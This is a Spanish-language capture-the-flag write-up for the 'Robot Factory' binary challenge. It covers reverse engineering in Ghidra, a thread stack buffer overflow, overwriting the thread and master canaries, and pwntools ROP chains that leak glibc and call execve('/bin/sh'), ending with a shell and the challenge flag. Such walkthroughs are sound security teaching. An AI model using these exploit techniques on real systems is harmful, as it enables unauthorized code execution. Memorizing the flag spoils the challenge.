Robot Factory
12 minutos de lectura
Se nos proporciona un binario de 64 bits llamado robot_factory
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Además, también tenemos la librería de Glibc (libc.so.6
). Vamos a parchar el binario con pwninit
:
$ pwninit --bin robot_factory --libc libc.so.6 --no-template
bin: robot_factory
libc: libc.so.6
fetching linker
https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.31-0ubuntu9.2_amd64.deb
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.31-0ubuntu9.2_amd64.deb
warning: failed unstripping libc: failed running eu-unstrip, please install elfutils: No such file or directory (os error 2)
setting ./ld-2.31.so executable
copying robot_factory to robot_factory_patched
running patchelf on robot_factory_patched
Ingeniería inversa
Vamos a abrir el binario en Ghidra para analizar el código en C descompilado. Esta es la función main
:
void main() {
pthread_t thread;
setvbuf(stdout, NULL, 2, 0);
puts("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=");
puts("| |");
puts("| WELCOME TO THE ROBOT FACTORY! |");
puts("| DAYS WITHOUT AN ACCIDENT: |");
puts("| 0 |");
puts("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=");
pthread_create(&thread, NULL, self_destruct_protocol, NULL);
do {
create_robot();
} while (true);
}
Podemos ver que comienza un hilo (thread) para llamar a self_destruct_protocol
:
void self_destruct_protocol() {
int i;
do {
for (i = 0; i < 8; i++) {
if ((robots[i] != NULL) && (robots[i][1].is_used[0] != '\0')) {
if (robots[i]->kind == 0) {
printf("Result: %ld", *(undefined8 *) robots[i]->result);
} else if (robots[i]->kind == 1) {
printf("Result: %s", *(undefined8 *) robots[i]->result);
}
write(1, "\n", 2);
free(robots[i]);
robots[i] = NULL;
}
}
sleep(1);
} while (true);
}
Como se puede observar, esta función itera a través de todos los robots y libera aquellos que ya se han usado.
Estructura del robot
En la función anterior, hay una estructura llamada robot
. Esto es parte del proceso de ingeniería inversa. Ghidra permite definir una struct
personalizada para que el código sea más legible. Después de leer todo el código fuente descompilado, podemos inferir una estructura que se ajuste más o menos.
Una función importante es create_robot
:
void create_robot() {
robot *prVar1;
char kind;
int number;
robot *p_robot;
char operation;
char *p_string1;
char *p_string_2;
void *newline_index;
int index;
int i;
pthread_t thread;
long length;
index = -1;
for (i = 0; i < 8; i = i + 1) {
if (robots[i] == NULL) {
index = i;
break;
}
}
if (index == -1) {
puts("Error! No free parts!");
} else {
p_robot = (robot *) malloc(0x40);
robots[index] = p_robot;
robots[index][1].is_used[0] = 0;
do {
printf("What kind of robot would you like? (n/s) > ");
number = getchar();
kind = (char) number;
getchar();
if (kind == 'n') break;
} while (kind != 's');
do {
printf("What kind of operation do you want? (a/s/m) > ");
number = getchar();
operation = (char) number;
getchar();
if ((operation == 'a') || (operation == 's')) break;
} while (operation != 'm');
if (kind == 's') {
robots[index]->kind = 1;
printf("Enter string 1: ");
prVar1 = robots[index];
p_string1 = (char *) malloc(0x100);
prVar1->item_a = p_string1;
fgets((char *) robots[index]->item_a, 0x100, stdin);
newline_index = memchr(robots[index]->item_a, L'\n', 0x100);
length = (long) newline_index - (long) robots[index]->item_a;
*(long *) (robots[index]->result + 8) = length;
if (operation == 'a') {
printf("Enter string 2: ");
prVar1 = robots[index];
p_string_2 = (char *) malloc(0x100);
prVar1->item_b = p_string_2;
fgets((char *) robots[index]->item_b, 0x100, stdin);
newline_index = memchr(robots[index]->item_b, L'\n',0x100);
length = (long) newline_index - (long) robots[index]->item_b;
robots[index]->size = length;
} else {
if (operation != 'm') {
puts("NOT IMPLEMENTED");
free(robots[index]);
return;
}
printf("Enter size: ");
__isoc99_scanf("%ld", &robots[index]->item_b);
getchar();
}
} else if (kind == 'n') {
robots[index]->kind = 0;
printf("Enter number 1: ");
__isoc99_scanf("%ld", &robots[index]->item_a);
getchar();
printf("Enter number 2: ");
__isoc99_scanf("%ld", &robots[index]->item_b);
getchar();
}
if (operation == 's') {
robots[index]->operation = 1;
} else if (operation < 't') {
if (operation == 'a') {
robots[index]->operation = 0;
} else if (operation == 'm') {
robots[index]->operation = 2;
}
}
pthread_create(&thread, NULL, do_robot, robots[index]);
*(pthread_t *) robots[index]->is_used = thread;
}
}
Esta nos permite crear dos tipos de robots: n/s
. Esto último significa “number” (kind = 0
) o “string” (kind = 1
). A continuación, necesitamos decir la operación: a/s/m
, que indica “add” (operation = 0
), “substract” (operation = 1
) y “multiply” (operation = 2
). Los siguientes son dos valores que pueden ser enteros long
o punteros char *
(item_a
e item_b
). Después de eso, hay otro valor long
/char *
para el resultado, y luego size_a
y size_b
para el tamaño de item_a
e item_b
en los casos de “string”.
Al final, hay otro hilo que llama a do_robot
:
void do_robot(robot *robot) {
if (robot->kind == 0) {
do_num(robot);
} else if (robot->kind == 1) {
do_string(robot);
}
}
Estas son do_num
y do_string
:
void do_num(robot *robot) {
undefined result[8];
uint operation;
robot->result = result;
operation = robot->operation;
if (operation == 2) {
multiply_func(robot);
} else if (operation < 3) {
if (operation == 0) {
add_func(robot);
} else if (operation == 1) {
sub_func(robot);
}
}
robot[1].is_used[0] = 1;
}
void do_string(robot *robot) {
long in_FS_OFFSET;
undefined result[264];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
robot->result = result;
if (robot->operation == 0) {
add_func(robot);
} else if (robot->operation == 2) {
multiply_func(robot);
}
robot[1].is_used[0] = 1;
if (canary == *(long *) (in_FS_OFFSET + 0x28)) {
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
Y finalmente, estas son add_func
, sub_func
y multiply_func
:
void add_func(robot *robot) {
if (robot->kind == 0) {
*(long *) robot->result = (long) robot->item_b + (long) robot->item_a;
} else if (robot->kind == 1) {
memcpy(robot->result, robot->item_a, robot->size_a);
memcpy((void *) ((long) robot->result + robot->size_a), robot->item_b, robot->size_b);
free(robot->item_a);
free(robot->item_b);
}
}
void sub_func(robot *robot) {
if (robot->kind == 0) {
*(long *) robot->result = (long) robot->item_a - (long) robot->item_b;
} else if (robot->kind == 1) {
do {
invalidInstructionException();
} while (true);
}
}
void multiply_func(robot *robot) {
long i;
long length;
if (robot->kind == 0) {
*(long *) robot->result = (long) robot->item_b * (long) robot->item_a;
} else if (robot->kind == 1) {
memcpy(robot->result, robot->item_a, robot->size_a);
length = robot->size_a;
for (i = 0; i < (long) robot->item_b; i = i + 1) {
memcpy((void *)((long) robot->result + length), robot->item_a, robot->size_a);
length = length + robot->size_a;
}
}
}
Vulnerabilidad de Buffer Overflow
Puede ser difícil detectar, pero add_func
y multiply_func
tienen una vulnerabilidad de Buffer Overflow en robots de tipo “string”. El programa intenta implementar algo como "string_a" + "string_b"
o "string" * multiplier
en Python. El problema es que el programa no verifica la longitud total de la cadena resultante. Podemos verificar que el programa se rompe en esta situación:
$ ./robot_factory
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
| |
| WELCOME TO THE ROBOT FACTORY! |
| DAYS WITHOUT AN ACCIDENT: |
| 0 |
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
What kind of robot would you like? (n/s) > s
What kind of operation do you want? (a/s/m) > m
Enter string 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Enter size: 100
What kind of robot would you like? (n/s) > zsh: segmentation fault (core dumped) ./robot_factory
El programa falla porque hemos sobrescrito la dirección de retorno con caracteres A
, por lo que el programa no sabe a dónde ir y simplemente termina. Usemos GDB para ver si podemos controlar la dirección de retorno:
$ gdb -q robot_factory
Reading symbols from robot_factory...
(No debugging symbols found in robot_factory)
gef➤ disassemble multiply_func
Dump of assembler code for function multiply_func:
0x0000000000401984 <+0>: push rbp
0x0000000000401985 <+1>: mov rbp,rsp
0x0000000000401988 <+4>: sub rsp,0x20
0x000000000040198c <+8>: mov QWORD PTR [rbp-0x18],rdi
...
0x0000000000401a68 <+228>: jl 0x401a1b <multiply_func+151>
0x0000000000401a6a <+230>: nop
0x0000000000401a6b <+231>: nop
0x0000000000401a6c <+232>: leave
0x0000000000401a6d <+233>: ret
End of assembler dump.
gef➤ break *multiply_func+233
Breakpoint 1 at 0x401a6d
gef➤ run
Starting program: ./robot_factory
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
| |
| WELCOME TO THE ROBOT FACTORY! |
| DAYS WITHOUT AN ACCIDENT: |
| 0 |
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[New Thread 0x7ffff7da6700 (LWP 17873)]
What kind of robot would you like? (n/s) > s
What kind of operation do you want? (a/s/m) > m
Enter string 1: AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFF
Enter size: 1
[New Thread 0x7ffff75a5700 (LWP 17954)]
What kind of robot would you like? (n/s) > [Switching to Thread 0x7ffff75a5700 (LWP 17954)]
Thread 3 "robot_factory" hit Breakpoint 1, 0x0000000000401a6d in multiply_func ()
gef➤ grep AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFF
[+] Searching 'AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFF' in memory
[+] In '[heap]'(0x405000-0x426000), permission=rw-
0x405820 - 0x405852 → "AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFF\n"
[+] In (0x7ffff6da6000-0x7ffff75a6000), permission=rw-
0x7ffff75a4dc0 - 0x7ffff75a4df7 → "AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFAA[...]"
0x7ffff75a4df0 - 0x7ffff75a4e20 → "AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFF"
gef➤ x/50gx 0x7ffff75a4dc0
0x7ffff75a4dc0: 0x4141414141414141 0x4242424242424242
0x7ffff75a4dd0: 0x4343434343434343 0x4444444444444444
0x7ffff75a4de0: 0x4545454545454545 0x4646464646464646
0x7ffff75a4df0: 0x4141414141414141 0x4242424242424242
0x7ffff75a4e00: 0x4343434343434343 0x4444444444444444
0x7ffff75a4e10: 0x4545454545454545 0x4646464646464646
0x7ffff75a4e20: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e30: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e40: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e50: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e60: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e70: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e80: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e90: 0x0000000000000000 0x0000000000000000
0x7ffff75a4ea0: 0x0000000000000000 0x0000000000000000
0x7ffff75a4eb0: 0x0000000000000000 0x0000000000000000
0x7ffff75a4ec0: 0x0000000000000000 0x165610803d504700
0x7ffff75a4ed0: 0x00007ffff75a4ef0 0x0000000000401774
0x7ffff75a4ee0: 0x0000000000000000 0x00000000004053c0
0x7ffff75a4ef0: 0x0000000000000000 0x00007ffff7db2609
0x7ffff75a4f00: 0x0000000000000000 0x00007ffff75a5700
0x7ffff75a4f10: 0x00007ffff75a5700 0x186db02ab4d8a16b
0x7ffff75a4f20: 0x00007fffffffe65e 0x00007fffffffe65f
0x7ffff75a4f30: 0x00007fffffffe660 0x00007ffff75a4fc0
0x7ffff75a4f40: 0xe7925e9e2ad8a16b 0xe7925f9cffbaa16b
gef➤ telescope 0x7ffff75a4ed0
0x00007ffff75a4ed0│+0x0000: 0x00007ffff75a4ef0 → 0x0000000000000000 ← $rbp
0x00007ffff75a4ed8│+0x0008: 0x0000000000401774 → <do_robot+40> jmp 0x401783 <do_robot+55>
0x00007ffff75a4ee0│+0x0010: 0x0000000000000000
0x00007ffff75a4ee8│+0x0018: 0x00000000004053c0 → 0x00007ffff75a5700 → 0x00007ffff75a5700 → [loop detected]
0x00007ffff75a4ef0│+0x0020: 0x0000000000000000
0x00007ffff75a4ef8│+0x0028: 0x00007ffff7db2609 → <start_thread+217> mov QWORD PTR fs:0x630, rax
0x00007ffff75a4f00│+0x0030: 0x0000000000000000
0x00007ffff75a4f08│+0x0038: 0x00007ffff75a5700 → 0x00007ffff75a5700 → [loop detected]
0x00007ffff75a4f10│+0x0040: 0x00007ffff75a5700 → 0x00007ffff75a5700 → [loop detected]
0x00007ffff75a4f18│+0x0048: 0x186db02ab4d8a16b
Canarios y threads
Como se puede ver, el canario está ahí: 0x165610803d504700
. Se coloca antes de los valores guardados de $rbp
y $rip
para mitigar los exploits de Buffer Overflow.
Esta vez, el programa usa hilos (threads), y hay una vulnerabilidad de Buffer Overflow. El problema con los hilos es que usan una pila (stack) que se coloca en la pila de proceso principal. Además, el canario del thread se copia del canario principal del proceso (también conocido como master canary). Por lo tanto, si modificamos ambos canarios (el del thread y el del master), burlaremos la protección del canario ya que ambos valores serán los mismos (el programa pensará que están intactos, porque el programa solo compara el canario del thread con el master canary).
Obsérvese que hay más pilas de hilos en la pila principal (al menos dos, uno para el robot actual y otro para self_destruct_protocol
):
gef➤ x/70gx 0x7ffff75a4dc0
0x7ffff75a4dc0: 0x4141414141414141 0x4242424242424242
0x7ffff75a4dd0: 0x4343434343434343 0x4444444444444444
0x7ffff75a4de0: 0x4545454545454545 0x4646464646464646
0x7ffff75a4df0: 0x4141414141414141 0x4242424242424242
0x7ffff75a4e00: 0x4343434343434343 0x4444444444444444
0x7ffff75a4e10: 0x4545454545454545 0x4646464646464646
0x7ffff75a4e20: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e30: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e40: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e50: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e60: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e70: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e80: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e90: 0x0000000000000000 0x0000000000000000
0x7ffff75a4ea0: 0x0000000000000000 0x0000000000000000
0x7ffff75a4eb0: 0x0000000000000000 0x0000000000000000
0x7ffff75a4ec0: 0x0000000000000000 0x165610803d504700
0x7ffff75a4ed0: 0x00007ffff75a4ef0 0x0000000000401774
0x7ffff75a4ee0: 0x0000000000000000 0x00000000004053c0
0x7ffff75a4ef0: 0x0000000000000000 0x00007ffff7db2609
0x7ffff75a4f00: 0x0000000000000000 0x00007ffff75a5700
0x7ffff75a4f10: 0x00007ffff75a5700 0x186db02ab4d8a16b
0x7ffff75a4f20: 0x00007fffffffe65e 0x00007fffffffe65f
0x7ffff75a4f30: 0x00007fffffffe660 0x00007ffff75a4fc0
0x7ffff75a4f40: 0xe7925e9e2ad8a16b 0xe7925f9cffbaa16b
0x7ffff75a4f50: 0x0000000000000000 0x0000000000000000
0x7ffff75a4f60: 0x0000000000000000 0x0000000000000000
0x7ffff75a4f70: 0x0000000000000000 0x0000000000000000
0x7ffff75a4f80: 0x0000000000000000 0x0000000000000000
0x7ffff75a4f90: 0x0000000000000000 0x165610803d504700
0x7ffff75a4fa0: 0x00007ffff75a5700 0x0000000000000000
0x7ffff75a4fb0: 0x00007fffffffe65e 0x00007ffff7eec133
0x7ffff75a4fc0: 0x0000000000000000 0x0000000000000000
0x7ffff75a4fd0: 0x0000000000000000 0x0000000000000000
0x7ffff75a4fe0: 0x0000000000000000 0x0000000000000000
En total, tenemos tres canarios de pila relevantes:
gef➤ grep 0x165610803d504700
[+] Searching '\x00\x47\x50\x3d\x80\x10\x56\x16' in memory
[+] In (0x7ffff6da6000-0x7ffff75a6000), permission=rw-
0x7ffff75a4ec8 - 0x7ffff75a4ee8 → "\x00\x47\x50\x3d\x80\x10\x56\x16[...]"
0x7ffff75a4f98 - 0x7ffff75a4fb8 → "\x00\x47\x50\x3d\x80\x10\x56\x16[...]"
0x7ffff75a5728 - 0x7ffff75a5748 → "\x00\x47\x50\x3d\x80\x10\x56\x16[...]"
...
Estrategia de explotación
El master canary es el tercero. Para evitar el canario, usaremos multiply_func
para repetir fragmentos de 248
bytes (la mayoría de caracteres serán A
para garantizar que todos los canarios se sobrescriban con 0x4141414141414141
). La longitud del fragmento se debe a que tenemos un máximo de 256
bytes (en realidad 255
más el carácter de salto de línea). Un valor de las repeticiones de 9
está bien (podría ser necesario depurar con GDB para encontrar un valor adecuado).
El objetivo de esto es evitar la protección del canario y explotar la vulnerabilidad del Buffer Overflow utilizando una cadena ROP (como en la mayoría de los exploits). Haremos un ataque ret2libc típico (filtrando una dirección de Glibc para burlar ASLR y luego ejecutar system("/bin/sh")
). Para obtener más información sobre ataques ret2libc, consulte Here’s a LIBC, Shooting Star o Notepad as a Service.
Desarrollo del exploit
Dado que los ataques ret2libc están cubiertos en otros retos con más detalles, solo mostraré las partes relevantes que afectan directamente este reto específico.
Fugando direcciones de memoria
Esta es el payload de la primera cadena ROP (para filtrar una función de Glibc usando la GOT y la PLT):
def create_robot(p, kind: bytes, operation: bytes, a: bytes, b: bytes):
p.recv(timeout=0.1)
p.sendline(kind)
p.sendlineafter(b'(a/s/m) > ', operation)
p.sendlineafter(b': ', a)
p.sendlineafter(b': ', b)
def main():
p = get_process()
rop = ROP(elf)
rop_chain = p64(rop.rdi.address)
rop_chain += p64(elf.got.printf)
rop_chain += p64(elf.plt.puts)
rop_chain += p64(elf.plt.sleep)
payload = b'A' * 32
payload += rop_chain
payload += b'A' * (248 - len(payload))
create_robot(p, b's', b'm', payload, b'9')
printf_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\0'))
glibc.address = printf_addr - glibc.sym.printf
p.success(f'Glibc base address: {hex(glibc.address)}')
p.interactive()
Con el código anterior, encontraremos la dirección base de Glibc y, por lo tanto, burlaremos ASLR:
$ python3 solve.py
[*] './robot_factory_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './robot_factory_patched': pid 1071646
[*] Loaded 14 cached gadgets for 'robot_factory_patched'
[+] Glibc base address: 0x7f05444fe000
[*] Switching to interactive mode
Result: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd3@
\x00$
Nótese que la última llamada de función de la cadena ROP es sleep
(no main
como de costumbre). Esto se debe a que estamos cambiando el flujo de ejecución de un hilo (thread). Configurar la última llamada de función a sleep
hará que el hilo siga esperando indefinidamente (porque $rdi
tendrá un gran valor, esa es la dirección de una entrada de la GOT).
Obteniendo RCE
La próxima cadena ROP ejecutará execve("/bin/sh", NULL, NULL)
. No es posible usar system
porque esta función llama a fork
. Como estamos tratando con un hilo, un proceso bifurcado se dará un error. Por lo tanto, es mejor ejecutar execve
, que es una función más simple (en realidad, es una función que ejecuta una llamada de sistema sys_execve
).
Tendremos que establecer otros registros, pero nada más complicado que eso:
rop = ROP([elf, glibc])
rop_chain = p64(rop.rdi.address)
rop_chain += p64(next(glibc.search(b'/bin/sh')))
rop_chain += p64(rop.rsi.address)
rop_chain += p64(0)
rop_chain += p64(rop.find_gadget(['pop rdx', 'pop r12', 'ret']).address)
rop_chain += p64(0)
rop_chain += b'A' * 8
rop_chain += p64(glibc.sym.execve)
payload = b'A' * 32
payload += rop_chain
payload += b'A' * (248 - len(payload))
create_robot(p, b's', b'm', payload, b'9')
p.recv()
p.interactive()
Y si ejecutamos el exploit, tenemos una shell localmente:
$ python3 solve.py
[*] './robot_factory_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './robot_factory_patched': pid 1075947
[*] Loaded 14 cached gadgets for 'robot_factory_patched'
[+] Glibc base address: 0x7f1183441000
[*] Loaded 201 cached gadgets for 'libc.so.6'
[*] Switching to interactive mode
$ ls
ld-2.31.so libc.so.6 robot_factory robot_factory_patched solve.py
Flag
Probemos de forma remota:
$ python3 solve.py 178.128.46.49:31802
[*] './robot_factory_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Opening connection to 178.128.46.49 on port 31802: Done
[*] Loaded 14 cached gadgets for 'robot_factory_patched'
[+] Glibc base address: 0x7f7a3c4f4000
[*] Loaded 201 cached gadgets for 'libc.so.6'
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag.txt
HTB{th3_r0b0t5_ar3_0ut_0f_c0ntr0l!!}
El exploit completo se puede encontrar aquí: solve.py
.